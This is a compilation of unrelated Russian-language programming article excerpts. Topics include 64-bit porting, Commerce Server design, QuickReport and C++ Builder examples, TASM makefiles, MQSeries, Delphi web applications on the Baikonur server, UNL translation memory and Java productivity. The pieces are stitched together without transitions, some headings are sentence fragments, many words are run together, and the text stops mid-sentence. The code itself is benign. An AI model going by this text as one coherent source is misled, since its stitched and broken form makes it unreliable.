    При портировании 32-разрядного кода на 64-разрядную платформу следует учитывать следующие моменты:
  • следите за разрядностью указателей и адресуемых ими данных. Если разрядности не совпадут, то либо приложение потеряет в производительности (операционная система сама будет расширять указатели), либо будет утрачена часть данных (они могут быть просто затерты);
  • используйте интегральные типы данных и функции Win64. Это позволит избежать множества конфликтных ситуаций;
  • делайте приложения кросс-платформенными. Это залог стабильности и высокой производительности приложения (гарантия корректной работы);
  • старайтесь исправлять код так, чтобы он не вызывал ни одного предупреждения 64-разрядного компилятора. Это позволит оптимизировать код и устранить риск, связанный со скрытыми в нем ошибками. Таблица 1.
    Типы данных для 64-разрядного программирования.


    ПОСТРОЕНИЕ АРХИТЕКТУРЫ ПРИЛОЖЕНИЯ

    Любое классическое приложение, ориентированное на использование в среде Интернет, имеет несколько уровней обработки и представления данных, среди которых можно выделить:
  • уровень хранения данных или просто хранилище данных, где на данные накладываются ограничения связанные с особенностями хранения данных в выбранной СУБД
  • уровень бизнес логики, где применяются, так называемые внешние логические ограничения, накладываемые особенностями предметной области
  • уровень пользовательского представления данных, где информация обрабатывается непосредственно перед выводом пользователю и оформляется в зависимости от его требований и предпочтений Проектирование системы требует обязательного рассмотрения вопросов обработки и представления данных на всех уровнях. Последовательность действий при этом обычно следующая: изучение предметной области, разработка инфологической модели представления данных, разработка датологической модели представления данных с учётом выбранной СУБД, внешняя (имеется ввиду в коде программы) реализация правил вносимых особенностями предметной области, разработка интерфейса пользователя и системы управления отображаемыми данными. При применении CS проектирование системы значительно упрощается. Разработка любого проекта начинается с развёртывания прототипа сайта с необходимыми ресурсами и приложениями. Прототип содержит все возможные готовые подсистемы и шаблоны некоторых ASP страниц. Любая готовая подсистема, входящая в состав Commerce Server, имеет свою спроектированную подсхему данных, состоящую из нескольких заранее связных между собой таблиц. Работа с каждой подсхемой данных осуществляется с использованием хранимых процедур и триггеров. В таких заранее спланированных схемах, данные обычно хранятся во второй нормальной форме или вообще не нормализованными, что однако позволяет добиваться максимального быстродействия при решении стандартных задач. Заранее спроектированные схемы данных каждой из подсистем позволяют учитывать также часть основных правил бизнес логики, обычно действующих при реализации этих подсистем.
    Так, например, в продуктовом каталоге обязательным атрибутом продукта является цена, которая не может быть отрицательным значением. Разработчик может создавать новые операции преобразования данных и определять последовательность их выполнения с помощью, так называемых, Pipeline. Commerce Server содержит также богатый набор средств для построения уровня пользовательского представления данных, для которого используются Active Server Pages. Все страницы сайта обычно выполняются с использованием нескольких шаблонов, поставляемых в комплекте с Commerce Server, однако разработчик Web-приложения может легко сам разработать собственный шаблон и сами страницы, ограничиваясь только своей фантазией. В каждую страницу сайта встраиваются готовые объекты, от конфигурации которых зависит функциональность конечного решения. Объекты выполнены в соответствии с Component Object Model (COM). COM-объекты имеют собственные интерфейсы прикладного программирования (API) для языков Visual Basic Script Edition и Visual C++. Использование Commerce Server в создании систем электронной коммерции позволяет значительно упростить этапы разработки, поскольку разработчику остаётся только настроить уже существующую модель. Это становиться возможным также за счёт некоторого однообразия задач, для решения которых применяется Commerce Server, и благодаря тесной интеграции с Microsoft SQL Server и MS IIS. Как результат - существенная экономия ресурсов и сокращение сроков реализации и внедрения проекта за счёт использования готовой инфраструктуры при построении своей системы электронной коммерции.

    Предварительный просмотр отчетов

    В некоторых случаях требуется предварительный просмотр отчетов на этапевыполнения. Для этой цели используется метод Preview() компонента TQuickReport.При его выполнении на экране появится стандартная форма просмотра, изображеннаяна рис. 8. Если внешний вид стандартной формы просмотра по какой-либо причине васне устраивает, можно создать свою форму предварительного просмотра с помощьюкомпонента QRPreview. Этот компонент обладает свойствами PageNumber и Zoom,которые можно использовать для просмотра произвольной страницы отчета впроизвольном масштабе. Для создания собственного окна предварительного просмотра следует навновь созданной форме разместить компонент QRPreview и набор элементовуправления (например, кнопок) для перемещения между страницами, изменениямасштаба, печати и др. Далее следует написать код, аналогичный приведенному ниже примеру: void __fastcall TForm1::ShowPreview() { Form2->ShowModal(); } void __fastcall TForm1::Button1Click(TObject *Sender) { QRPrinter->OnPreview=ShowPreview; Form4->QuickReport1->Preview(); Form2->ShowModal(); } Кроме того, нужно внести прототип функции ShowPreview() в соответствующийh-файл: __published: // IDE-managed Components TButton *Button1; void __fastcall Button1Click(TObject *Sender); void __fastcall ShowPreview(void); Приведенный пример кода показывает, как связать созданную форму с компонентомQuickReport. Эта связь достигается написанием обработчика события QRPrinter->OnPreview.Это событие не имеет прямого отношения к компоненту QuickReport, иначенужно было бы связывать все созданные отчеты с окном просмотра. Использованиесобытия объекта QRPrinter обычно означает написание общего для всех отчетовобработчика события, после чего окно просмотра можно использовать для всехимеющихся в приложении отчетов. Более подробно о компонентах, используемых для создания отчетов, можнопрочесть в книге "Введение в Borland C++ Builder" Н.Елмановойи С.Кошеля, вышедшей в июле этого года в издательстве "Диалог-МИФИ".

    Файлы, необходимые для первого примера

    Файл констант ресурсов resource.inc IDD_DIALOG = 65 ; 101 IDR_NAME = 3E8 ; 1000 IDC_STATIC = -1 Файл заголовков resource.h #define IDD_DIALOG 101 #define IDR_NAME 1000 #define IDC_STATIC Файл определений dlg.def NAME TEST DESCRIPTION 'Demo dialog' EXETYPE WINDOWS EXPORTS DlgProc @1 Файл компиляции makefile # Make file for Demo dialog # make -B NAME = dlg OBJS = $(NAME).obj DEF = $(NAME).def RES = $(NAME).res TASMOPT=/m3 /mx /z /q /DWINVER=0400 /D_WIN32_WINNT=0400 !if $d(DEBUG) TASMDEBUG=/zi LINKDEBUG=/v !else TASMDEBUG=/l LINKDEBUG= !endif !if $d(MAKEDIR) IMPORT=$(MAKEDIR)\..\lib\import32 !else IMPORT=import32 !endif $(NAME).EXE: $(OBJS) $(DEF) $(RES) tlink32 /Tpe /aa /c $(LINKDEBUG) $(OBJS),$(NAME),, $(IMPORT), $(DEF), $(RES) .asm.obj: tasm32 $(TASMDEBUG) $(TASMOPT) $&.asm $(RES): $(NAME).RC BRCC32 -32 $(NAME).RC

    Файлы, необходимые для второго примера

    Файл описания mylib.def LIBRARY MYLIB DESCRIPTION 'DLL EXAMPLE, 1997' EXPORTS Hex2Str @1 Файл компиляции makefile # Make file for Demo DLL# make -B# make -B -DDEBUG for debug information NAME = mylib OBJS = $(NAME).obj DEF = $(NAME).def RES = $(NAME).res TASMOPT=/m3 /mx /z /q /DWINVER=0400 /D_WIN32_WINNT=0400 !if $d(DEBUG) TASMDEBUG=/zi LINKDEBUG=/v !else TASMDEBUG=/l LINKDEBUG= !endif !if $d(MAKEDIR) IMPORT=$(MAKEDIR)\..\lib\import32 !else IMPORT=import32 !endif $(NAME).EXE: $(OBJS) $(DEF) tlink32 /Tpd /aa /c $(LINKDEBUG) $(OBJS),$(NAME),, $(IMPORT), $(DEF) .asm.obj: tasm32 $(TASMDEBUG) $(TASMOPT) $&.asm $(RES): $(NAME).RC BRCC32 -32 $(NAME).RC

    Файлы, необходимые для третьего примера

    Файл описания dmenu.def NAME TEST DESCRIPTION 'Demo menu' EXETYPE WINDOWS EXPORTS WndProc @1 Файл ресурсов dmenu.rc #include "resource.h "MyMenu MENU DISCARDABLE BEGIN POPUP "Files" BEGIN MENUITEM "Open", ID_OPEN MENUITEM "Save", ID_SAVE MENUITEM SEPARATOR MENUITEM "Exit", ID_EXIT END MENUITEM "Other", 65535 END Файл заголовков resource.h #define MyMenu 101 #define ID_OPEN 40001 #define ID_SAVE 40002 #define ID_EXIT 40003 Файл компиляции makefile # Make file for Turbo Assembler Demo menu # make -B # make -B -DDEBUG -DVERN for debug information and version NAME = dmenu OBJS = $(NAME).obj DEF = $(NAME).def RES = $(NAME).res !if $d(DEBUG) TASMDEBUG=/zi LINKDEBUG=/v !else TASMDEBUG=/l LINKDEBUG= !endif !if $d(VER2) TASMVER=/dVER2 !elseif $d(VER3) TASMVER=/dVER3 !else TASMVER=/dVER1 !endif !if $d(MAKEDIR) IMPORT=$(MAKEDIR)\..\lib\import32 !else IMPORT=import32 !endif $(NAME).EXE: $(OBJS) $(DEF) $(RES) tlink32 /Tpe /aa /c $(LINKDEBUG) $(OBJS),$(NAME),, $(IMPORT), $(DEF), $(RES) .asm.obj: tasm32 $(TASMDEBUG) $(TASMVER) /m /mx /z /zd $&.asm $(RES): $(NAME).RC BRCC32 -32 $(NAME).RC

    Применение MQSeries

    Возможности архитектуры очередей сообщений позволяют применять MQSeries как в процессе интеграции готовых приложений, так и для разработки совершенно новых систем, управляемых сообщениями. Можно перечислить следующие типичные задачи:
  • интеграция приложений в распределенной гетерогенной среде;
  • организация взаимодействия приложений, работа которых разделена во времени;
  • сложные распределенные и/или распараллеленные процессы обработки;
  • задачи гарантированной доставки данных;
  • поддержка мобильных клиентов.
  • Многие финансовые организации и учреждения используют сегодня MQSeries в качестве базового транспорта для передачи данных внутри банковских приложений и между ними. К числу пользователей IBM MQSeries принадлежат Центральный Банк РФ и Национальный Банк Республики Беларусь. Вероятно, крупнейшей в стране распределенной информационной инфраструктурой располагают российские железнодорожники. Сегодня разработки на базе MQSeries ведутся в различных организациях МПС, а из готовых продуктов можно упомянуть систему предупреждений, разработанную фирмой DigitalDesign для Октябрьской железной дороги. В основе этой системы лежит построенная на базе MQSeries сеть передачи данных, которая обеспечивает гарантированную передачу предупреждений между службами железной дороги с контролем передачи, доставки и прочтения сообщений. В качестве типичных примеров использования MQSeries в России можно также указать ряд применений MQSeries вместе с прикладными системами, функционирующими на базе системы групповой работы и электронной почты Lotus Notes.

    Рыбки.

    Те, кто уже имел дело с инструментальными средствами компании Borland, прекрасно знают этот пример, который Borland предоставляет для всех своих визуальных инструментов. Рыбки (Fish Facts) - это база данных с информацией об аквариумных рыбках с их внешним видом (картинка), описанием (memo-поле), и несколькими характеризующими записями. Borland включает пример с этой базой данных во все свои инструменты. Такой пример шел в составе Paradox, Visual dBase, Delphi и C++. Компания Epsylon Technologies включает аналогичный пример в поставку библиотеки визуальных HTML-компонент для Delphi. Итак, нашей ближайшей целью будет попытка создания Web-сервера, публикующего информацию из базы данных о рыбках в своих HTML-страницах. Мы хотели бы создать такой Web-сайт при помощи минимума усилий, и, несмотря на то, что Borland Delphi - это инструмент программирования, при минимуме программирования. То есть мы хотели бы иметь возможность создать такую систему, чтобы нашу базу данных мог увидеть на своем Internet-браузере удаленный клиент, например, лондонец или сахалинец. Для начала поместим стандартные невизуальные объекты TDataSource и Ttable на форму. Эти невизуальные элементы позволяют осуществить коннект с источником данных уже на этапе проектирования. TDataSource и TTable входят в стандартную поставку Delphi, так что мы не делаем пока что ничего необычного для стандартного цикла дельфийской разработки. Настроим эти элементы. Свойство TableName невизуального объекта Table1 установим в Biogif.db. Это имя нашей базы данных в парадоксовском формате. В качестве источника данных можно установить и любой SQL-сервер, например Oracle или MS SQL, но пока что мы не будем этого делать - сделаем пример как можно проще. Теперь сделаем активным соединение, для чего установим свойство Active в True. Элемент DataSource1 настроим на Table1, установив свойство DataSet в Table1. Теперь можно подключать визуальные компоненты. Если бы нашей целью было создать обычное приложение, мы бы воспользовались стандартными элементами, находящимися на странице DataControls в палитре компонент.
    Однако, мы хотим создать Internet/ Intranet приложение, поэтому надо выбирать страницу DB HTML. Рыбки. Рисунок 5. HTML компоненты для работы с базами данных. Выберем оттуда, и разместим, как нам нравится, на форме элементы THTMLDBGif, THTMLNavigator, THTMLDBGrid, THTMLDBText и THTMLDBEdit. Для всех мы сейчас сделаем одну и ту же операцию. Мы настроим свойство DataSource на DataSource1, а затем выберем для свойства DataField соответствующее поле из нашей базы данных (для всех, кроме HTMLDBGrid1 и HTMLNavigator - для них указание полей не требуется). И все заработало! Мы увидели появление данных в таблице, картинки - в поле для картинки, содержимое поля - в поле для редактирования. Неужели все уже готово? Нет, требуется сделать еще несколько операций. Давайте наведем красоту на все это хозяйство, настраивая свойства Align и Color в соответствующих компонентах. Рыбки. Рисунок 6. Страница HTML компонент. В дополнение еще разместим элемент THTMLButton и пропишем реакцию приложения на нажатие кнопки. В Инспекторе Объектов мы увидим только одно событие, которое можно обрабатывать у кнопки HTMLButton1 - событие OnClick. Дважды кликнем мышкой и получим шаблон процедуры-обработчика события. Все, что нам надо сделать по нажатию кнопки "Close" - это закрыть приложение. Что мы и запишем между строками begin и end - "HtmlControl1.UserClose;" . C точки зрения разработчика-программиста, мы написали вызов метода UserClose у элемента HTMLControl1. С точки зрения разработчика мы написали нечто невразумительное, ибо этого элемента в проекте пока еще нет. Если бы мы начали трансляцию, компилятор выдал бы ошибку в этой строке. Рыбки. Рисунок 7. Текст процедуры-обработчика события нажатия кнопки. То есть, чтобы избежать ошибки, нам требуется поместить на форму соответствующий элемент. На самом деле, чтобы добиться работоспособности приложения в Internet, мы обязаны поместить и настроить, как минимум два элемента - THTMLControl и THTMLPage. Компонент THTMLControl требуется один на приложение, и может быть помещен на главную форму, компонент THTMLPage требуется класть по одному на каждую новую страницу формы.


    Смысл этих элементов вот в чем: Приложение, изготовленное в Delphi, в момент своего использования управляется сервером Baikonur. Для того, чтобы сервер мог получать и передавать информация от браузера приложению и наоборот, необходим обеспечивающий такую связь элемент. Таким элементом и является THTMLControl. Вторым очень важным элементом является THTMLPage. В его функции входит раздача и передача информации, полученной от клиентского браузера или передаваемой клиентскому браузеру, но касающейся конкретных элементов на HTML странице. В принципе, мы можем не делать никаких дополнительных настроек этих элементов и удовольствоваться тем, что установлено по умолчанию.
    А вот теперь пора транслировать! После трансляуции мы получаем модуль .exe, который надо поместить в соответствующую рабочую директорию Baikonur. Рыбки. Рисунок 8. Вид проекта в design time. Если у вас в качестве рабочей машины стоит машина с установленным Windows NT Workstation, то вы можете весь интернет получить на одном рабочем месте. У вас может быть одновременно быть установлен сервер Baikonur один, или несколько браузеров. Давайте проверим работоспособность всей системы. Итак: при работающем сервере Baikonur мы запускаем браузер и указываем ему в качестве URL следующую строку: "http://myserveraddress/project1.exe". При этом запрос на ресурс приходит серверу Baikonur, тот находит только что изготовленный нами исполняемый файл и запускает его на исполнение. Стартовав, приложение project1.exe коннектится к базе данных, получает данные и динамически формирует соответствующую HTML - страницу. Посмотрите, все действительно работает! При нажатии на кнопки навигатора мы перемещаемся на следующие записи в базе данных, при нажатии на кнопку Close приложение закрывается. Если вы запускаете приложение на удаленном сервере, попробуйте, не закрывая своего приложения, выключить клиентскую станцию с вашим браузером. Теперь загрузитесь заново и дайте запрос на ваше приложение "http://myserveraddress/project1.exe" Вы увидите, что вы смогли заново приконнектиться к приложению, которое существовало в загруженном состоянии на сервере в то время, когда вы выключали клиентское рабочее место.


    Контекст вашей сессии сохранился, и вы увидите ту рыбку, на которую переместились последним вашим нажатием на кнопку HTMLNavigator. Полезнейшее свойство, особенно, если вы имеете дело с ненадежным модемным соединением! Если бы мы успели изготовить еще пару программ за это время, мы могли бы переключаться между ними, указывая разные URL, и не теряя контекста для каждой из них. А где же HTML? - скажете вы. Можно заметить, что мы изготовили приложение, динамически генерирующее HTML-страницы, абсолютно не зная HTML. Однако, если хочется создавать изысканно выглядящие Internet-приложения, HTML придется освоить. Вы можете создавать свои собственные HTML-компоненты, или подправлять внешний вид страниц, генерируемый вашим приложением, расставляя вручную в шаблоне соответствующие теги HyperText Markup Language. Библиотека Delphi HTML Controls может не содержать какого-либо элемента, который поддерживает какой-нибудь из браузеров. Например, в библиотеке отсутствует элемент , поддерживаемый Microsoft Internet Explorer'ом. Для того, чтобы поместить такой тег на форму нужно воспользоваться компонентом HTMLLabel. Необходимо произвести следующую последовательность действий: поместите HTMLLabel в нужное место на форме, установить свойство Preformat в False, в свойстве Caption указать ' Это текст бегущей строки ' В Microsoft Internet Explorer этот элемент отобразится в виде бегущей строки. Нам осталось проверить последнее - действительно ли нашу базу данных с информацией о рыбках можно рассматривать при помощи браузеров от различных производителей? На рынке в основном конкурируют два браузера - Netscape Navigator и Microsoft Internet Explorer. В старшие версии сервера Baikonur компания Epsylon Technologies включает браузер Ariadna компании AMSD. Давайте проверим, что у нас получилось. Рыбки. Рисунок 9. Внешний вид приложения в Microsoft Explorer. После проведения экспериментов мы увидим, что все-таки существуют определенные различия в том, как разные браузеры представляют изготовленное нами приложение.Кнопки навигатора оказываются разного размера, существуют и дополнительные мелкие отличия. Значительные отличия можно найти, исследуя.

    Рассылка оперативной информации.

    Этот пример иллюстрирует очень полезный режим, который, к сожалению, поддерживает на сегодня только Netscape Navigator. Поэтому, когда вы будете запускать пример приложения с названием multi.exe, воспользуйтесь браузером от компании Netscape. Рассылка оперативной информации. Обычно, когда вы работаете с каким-либо браузером, ваш сеанс работы представляет собой последовательность соединений и разъединений (connect и disconnect), как показано на рис.11.
    Если вы будете запускать изготовленный нами пример с рыбками, и еще несколько ваших коллег также попробуют одновременно с вами убедиться в том, что ваш пример работает, обращаясь к серверу с запросом "http://myserveraddress/multi.exe", то для каждого клиентского запроса будет создано отдельное приложение (см. Рис 12) Рассылка оперативной информации. Рисунок 12. Запуск однопользовательского приложения Приложение multi.exe работает в несколько ином режиме. Как только ваш Netscape Navigator соединился с сервером, запросив "http://myserveraddress/multi.exe", сервер запускает приложение multi.exe и не разрывает соединение, как происходит обычно. Приложение multi.exe периодически (раз в секунду) рассылает сформированный им информационный экран всем пользователям, подключившимся к программе. В отличие от примера с рыбками, приложение multi.exe является многопользовательским. Это означает, что если оно уже было запущено под управлением сервера Baikonur, то каждый следующий клиент, набирая "http://myserveraddress/multi.exe", не вызывает нового запуска приложения, а подключается к уже существующему. Приложение Multi.exe фактически является многопользовательским, или, говоря другими словами, многопользовательским прикладным сервером. Рассылка оперативной информации. Рисунок 13. Многопользовательское приложение Разберемся с тем, что все-таки делает multi.exe. Multi.exe, будучи один раз запущенным, занимается тем, что генерирует синусоиду, накладывая на уровень сигнала еще и кое-какой шум. Одновременно с генерацией программа строит график значений синусоиды и рассылает полученную HTML-страничку всем клиентам, кто к ней подключился. Очевидно, что прикладной пользы от сервера multi.exe нет никакой. Однако, если вам понадобится строить систему, в которой клиентам необходимо оперативно получать постоянно меняющуюся информацию, программу multi можно будет взять за основу. Рассылка оперативной информации. Рисунок 14. В многопользовательском приложении динамически формируемая страничка рассылается каждому подключенному пользователю. Заметьте, тем не менее, что в программе multi.exe пользователи не взаимодействовали между собой. А можно ли организовать такое взаимодействие?

    CHAT-сервер.

    Да, конечно же, можно. В набор примеров в коробке с Baikonur Web App Server for Delphi входит и такой пример. Это пример построения многопользовательского специализированного сервера для организации многоканальных разговоров в Internet. В данном случае все клиенты так же, как и в предыдущем примере, будут находиться в постоянном соединении с сервером, но сервер попутно еще и принимает строки, вводимые каждым клиентом, а затем рассылает их всем, находящимся в соединении. Таким образом, все видят ход беседы, находясь в самых разных местах земного шара.

    функционирования распределенной архитектуры

    Описанная выше картина представляет собой функционально-ориентированный взгляд на систему и имеет статический характер. Для получения динамической картины работы всей системы следует обратить внимание на диаграмму кооперации на рис. 4.1. функционирования распределенной архитектуры Рис. 4.1 Функционирование системы На данной диаграмме умышленно опущены детали и моменты ветвления потока управления системы для того, чтобы выделить главную идею работы, не погружаясь в детали. Распишу событийную модель по шагам:
  • Пользователь воздействует на Вид (View) клиентского приложения.
  • Вид делегирует событие Посреднику (Mediator).
  • Посредник обращается к Заводу (FactSourceFactory), чтобы тот создал Proxy-объект, поддерживающий интерфейс FactSourceInterface для работы с фактами.
  • Медиатор вызывает Контроллер (Controller) который отвечает за обработку данного типа события пришедшего от пользователя.
  • Контроллер посылает запрос к созданному Proxy-объекту на 3 шаге.
  • Proxy-объект, поддерживающий интерфейс FactSourceInteface, делегирует запрос к Источнику Фактов (AbstractFactSource) в ядре, находящемуся на стороне сервера приложения. На этом шаге происходит сетевой вызов, который проходит через стаб (stub) клиентского приложения и скелетон (skeleton) сервера приложения, где реализуется взаимодействие на одной из технологий RMI, CORBA, DCOM или др.
  • На стороне сервера происходит аутентификация с помощью завода, отвечающего за безопасность (SecurityFactory). Процесс аутентификации происходит только при первом обращении клиентского приложения к серверу приложений.
  • Происходит процесс авторизации, во время которого выясняются права доступа пользователя.
  • Ядро запрашивает Метамодель (MetaModel) у Завода Метаданных (MetaFactory) для описания факта, с которым взаимодействует пользователь.
  • Завод Метаданных извлекает запрашиваемую Метамодель.
  • Ядро запрашивает Метамодель на предмет Картриджа (FactCartridge), в котором находится факт.
  • Метамодель берет Картридж, в котором находится искомый факт.
  • Для доступа к фактам для разных типов источников данных ядро запрашивает у Картриджа объект, поддерживающий интерфейс FactDAO.
  • Картридж запрашивает этот объект у Завода Доступа к Фактам (FactDAOFactory), который создает эти объекты.
  • Завод Доступа к Фактам создает запрашиваемый объект.
  • Ядро делегирует объекту запрос от Контроллера клиентского приложения.
  • Объект, поддерживающий интерфейс FactDAO, производит изменения факта (Fact).
  • Управление возвращается в Контроллер клиентского приложения, производящий коррекцию Модели (Model).
  • Медиатор посылает сообщение об обновлении Модели Виду, и он производит свою перерисовку.

    создание простейшего приложения

    Теперь попробуем создать простейшее приложение, позволяющее вводить текст в редактируемое поле и добавлять этот текст к списку при нажатии мышью на кнопку. Выберем пункт меню File/New Application для создания проекта и сохраним его главную форму под именем samp1.cpp, а сам проект под именем samp.mak. Поместим на форму компоненты Button, Edit и ListBox со страницы Standard палитры компонент. создание простейшего приложения Рис. 9. Размещение компонентов на форме После этого выберем на форме компонент Edit и удалим текущее значение свойства Text. Затем установим свойство Caption для Button1 равным "Добавить". Чтобы добавить обработчик события OnClick для кнопки Добавить, нужно выбрать эту кнопку на форме, открыть страницу событий в инспекторе объектов и дважды щелкнуть мышью на колонке справа от события OnClick. В соответствующей строке ввода появится имя функции. C++ Builder сгенерирует прототип обработчика событий и покажет его в редакторе кода. После этого следует ввести следующий код в операторные скобки { ... } тела функции: void __fastcall TForm1::Button1Click(TObject *Sender) { if (!(Edit1->Text == "")) { ListBox1->Items->Add(Edit1->Text); Edit1->Text = "" ; } } Для компиляции приложения в меню Run выберем пункт Run. Теперь можно что-нибудь ввести в редактируемое поле, нажать мышью на кнопку Добавить и убедиться, что вводимые строки добавляются к списку. создание простейшего приложения Рис.10. Так выглядит готовое приложение. Теперь модифицируем приложение, добавив кнопки Удалить и Выход. Для этого добавим еще две кнопки, изменим их свойство Caption и создадим обработчики событий, связанных с нажатием на эти кнопки: создание простейшего приложения Рис. 11. Модифицированное приложение Для кнопки Удалить: void __fastcall TForm1::Button2Click(TObject *Sender) { if (!(ListBox1->ItemIndex == -1)) ListBox1->Items->Delete(ListBox1->ItemIndex); } Для кнопки Выход: Close(); Сохраним и скомпилируем приложение, а затем протестируем его. Итак, мы познакомились со средой разработки Borland C++ Builder и создали простое приложение. В следующих статьях этого цикла будут описаны приемы манипуляции компонентами на форме и более подробно рассмотрены особенности поведения различных компонентов в приложении. Координаты автора: Центр Информационных Технологий,
    тел. (095)932-92-12, 932-92-13,

    Проблема изоморфизма пересечения языковых пар

    Итак, мы определили, что представление на языке UNL позволяет полностью сохранить смысл (поскольку лексическими единицами являются однозначные обозначения понятий) и обеспечивает независимость изоморфизма пересечения языковых пар от порядка слов в предложениях. Тем не менее, осталась и усугубилась проблема нарушения изоморфизма, вызванного различием форм одного и того же слова в разных предложениях. Действительно, концепт в языке UNL, не меняет своей формы, с каким бы другим концептом он ни был связан. В то же время, одно и то же слово на естественном человеческом языке может видоизменяться. Анализируя эту проблему, задумаемся: а действительно ли нам нужно вычислять пересечение исходных сегментов? Нельзя ли, вычислив пересечение целевых сегментов (то есть UNL-предложений), сформировать для него перевод обратно на исходный язык автоматически? Положительный ответ на эти вопросы можно дать, если снова воспользоваться технологией машинного перевода. Действительно, для всех концептов имеется их перевод на исходный язык, следовательно, слабое место машинного перевода- выбор лексики- удастся избежать. Все, что будет требоваться от компьютера- это выделить в исходном сегменте те слова и синтаксические связи, которые вошли в состав пересечения UNL-предложений, и сформировать новое словосочетание, нужным образом изменив формы слов (рис. 7). Проблема изоморфизма пересечения языковых пар Рис. 7 Коль скоро мы доверили системе машинного перевода синтаксический и морфологический разбор исходного сегмента, когда оценивали изоморфизм пересечения языковых пар без привлечения UNL, доверим ей сделать то же самое для организации поиска сегмента в памяти переводов. В самом деле, почему бы не преобразовать исходный сегмент в UNL-предложение и не осуществить поиск в графе сегментов, хранящих текст на языке UNL? Поступив подобным образом, мы полностью избавимся от необходимости осуществлять операции поиска и добавления над графом сегментов, хранящих текст на естественном языке. Все операции будут производиться над графом UNL-предложений. Теперь вместо нескольких графов (по одному на каждый язык) память переводов будет использовать один единственный граф, каждый узел которого будет представлять собой языковую звезду с UNL-предложением в центре и вариантами перевода на лучах. Весь процесс работы переводчика с предлагаемой системой описывается схемой, изображенной на рис. 8. Проблема изоморфизма пересечения языковых пар Рис. 8 Важным фактором является то, что работа классической памяти переводов описывается такой же схемой. Это означает, что реализация предлагаемой модели может быть легко встроена в существующие системы.

    Проблемы использования метаданных в клиентских приложениях.

    Информационные системы, основанные на архитектуре клиент-сервер, приобрели заметную популярность в течение последних нескольких лет. В достаточном количестве имеются инструменты для графического проектирования серверных частей подобных информационных систем (так называемые средства). Однако до сих пор не сформулирована универсальная концепция использования в клиентских приложениях информации, содержащейся в созданной с помощью инструментов модели данных (так называемых метаданных). Нередко приходится в процессе разработки производить определение метаданных дважды: при создании серверной части информационной системы и при создании клиентских приложений, что потенциально является источником ошибок и несогласованности метаданных серверной и клиентских частей информационной системы. По той же причине поддержка и сопровождение проекта становятся весьма проблематичными при усложнении модели данных, а разработка интерфейсов пользователя, основанных на сложных структурах данных, предъявляет высокие требования к разработчику даже в случае использования таких совершенных инструментов, как Borland Delphi. Кроме того, часто доступ к модели данных желателен не только в процессе проектирования, но и в процессе выполнения приложения, особенно когда информационная система подвергается модернизации, так как при этом. процесс сопровождения информационной системы требует меньших временных и финансовых затрат. Эта проблема может быть решена путем создания утилит, способных осуществлять двухсторонний обмен метаданными между словарем данных средства разработки и ER-диаграммой средства, и компонентов, способных использовать метаданные не только во время проектирования, но и во время выполнения. Попытка сделать первое была реализована в эксперте из комплекта поставки Delphi 2.01, осуществляющем односторонний перенос расширенных атрибутов из ER-диаграмм популярных средств в словарь данных Delphi, однако это было лишь частичным решением проблемы, так как при этом невозможен перенос метаданных обратно из словаря данных в ER-диаграмму, да и с ERwin этот эксперт работает некорректно. Что касается второго - создания чувствительных к метаданным компонентов, эта проблема решается с помощью предлагаемого вашему вниманию инструмента MetaBASE (ERwin for Delphi), поставляемого в комплекте с известным средством ERwin компании Logic Works.

    Продуктивность программирования

    Продуктивность программирования определяет, насколько эффективно (т.е. быстро и точно) программист с определенным опытом и знаниями может решить поставленную перед ним задачу, используя заданный язык программирования. Так как оклад разработчика является главной составляющей стоимости разработки любого программного проекта, продуктивность программирования имеет большое значение. Также в определенной степени продуктивность программирования определяется доступными инструментальными средствами. Отличительной особенностью Java в сравнении с другими языками программирования общего назначения является обеспечение высокой продуктивности программирования, нежели производительность работы приложения или эффективность использования им памяти. Для этого Java наделена некоторыми дополнительными возможностями. Например, в отличие от C++ (или C), программист не должен в явном виде "освобождать" (возвращать) выделенную память операционной системе. Освобождение неиспользуемой памяти (сборка "мусора") автоматически обеспечивается средой выполнения Java в ущерб производительности и эффективности использования памяти (см. далее). Это освобождает программиста от утомительной задачи по слежению за освобождением памяти - главного источника ошибок в приложениях. Одна эта возможность языка должна значительно увеличить продуктивность программирования в сравнении с C++ (или C). Однако проведенное исследование показывает, что на практике сборка "мусора" и другие возможности Java не оказывают большого влияния на продуктивность программирования. Одна из классических моделей оценки программного обеспечения CoCoMo, предложенная Barry Boehm, предопределяет стоимость и сроки разработки программного продукта на основе стоимостных коэффициентов, которые учитывают такие факторы, как суммарный опыт программирования разработчика, опыт программирования на заданном языке, желаемая надежность программы и т.д. Boehm пишет, что независимо от уровня используемого языка, начальные трудозатраты всегда высокие.
    Подобная методика подсчета использовалась в другом исследовании, проведенном C.E.Walston и C.P.Felix, IBM, Метод измерения и оценки программирования ( A method of programming measurement and estimation) . Оба приведенных здесь исследования появились задолго до создания Java, но несмотря на это, они демонстрируют общий принцип: сложность языка программирования общего назначения по сравнению с другими аспектами, такими как квалификация разработчика, не оказывает существенного влияния на полную стоимость разработки проекта. Существует более позднее исследование, которое явно включает Java и которое подтверждает эту гипотезу. В Эмпирическом сравнении C, C++, Java, Perl, Python, Rexx и Tcl (An empirical comparison of C, C++, Java, Perl, Python, Rexx, and Tcl) Lutz Prechelt из университета Karlsruhe описывает проведенный им эксперимент, в котором студентам информатики поручили выполнить определенный проект и выбрать для его реализации, руководствуясь личными предпочтениями, один из языков программирования: C, C++ или Java (остальные языки были рассмотрены в другой части исследования). Собранные данные показали почти одинаковые результаты для C++ и Java (C был на третьем месте по многим параметрам). Эти результаты подтверждаются нашим собственным опытом: если программисты вольны в самостоятельном выборе языка программирования (чаще руководствуясь при этом своим опытом), программисты с равным опытом работы (например, измеренным в годах) достигают одной и той же продуктивности. Второй интересный аспект, который бы мы хотели отметить (но который не имеет формального экспериментального подтверждения), заключается в том, что менее опытные разработчики достигают лучших результатов с Java, разработчики со средним опытом разработки достигают одинаковых результатов с обоими языками программирования, опытные разработчики достигают лучших результатов с C++. Эти наблюдения могут быть объяснены тем, что для C++ доступны более совершенные средства разработки; и этот факт тоже должен быть принят во внимание. Интересный способ определения продуктивности программирования предлагает метод функциональных единиц (Function Point), разработанный Capers Jones.Функциональная единица - это метрика программного обеспечения, которая зависит лишь от его функциональности, а не от конкретной реализации. Эта метрика позволяет использовать в качестве критерия оценки продуктивности программирования число строк кода, необходимых для обеспечения одной функциональной единицы, в свою очередь, уровень языка определяется числом функциональных единиц, которые могут быть созданы за определенное время. Интересно, что обе величины: число строк кода на единицу функциональности и уровень языка одинаковы для обоих языков (уровень языка: C++ и Java - 6, C - 3.5, Tcl - 5; число строк кода на единицу функциональности: C++ и Java - 53, C - 91, Tcl - 64). Подводя итог: оба исследования и практика опровергают 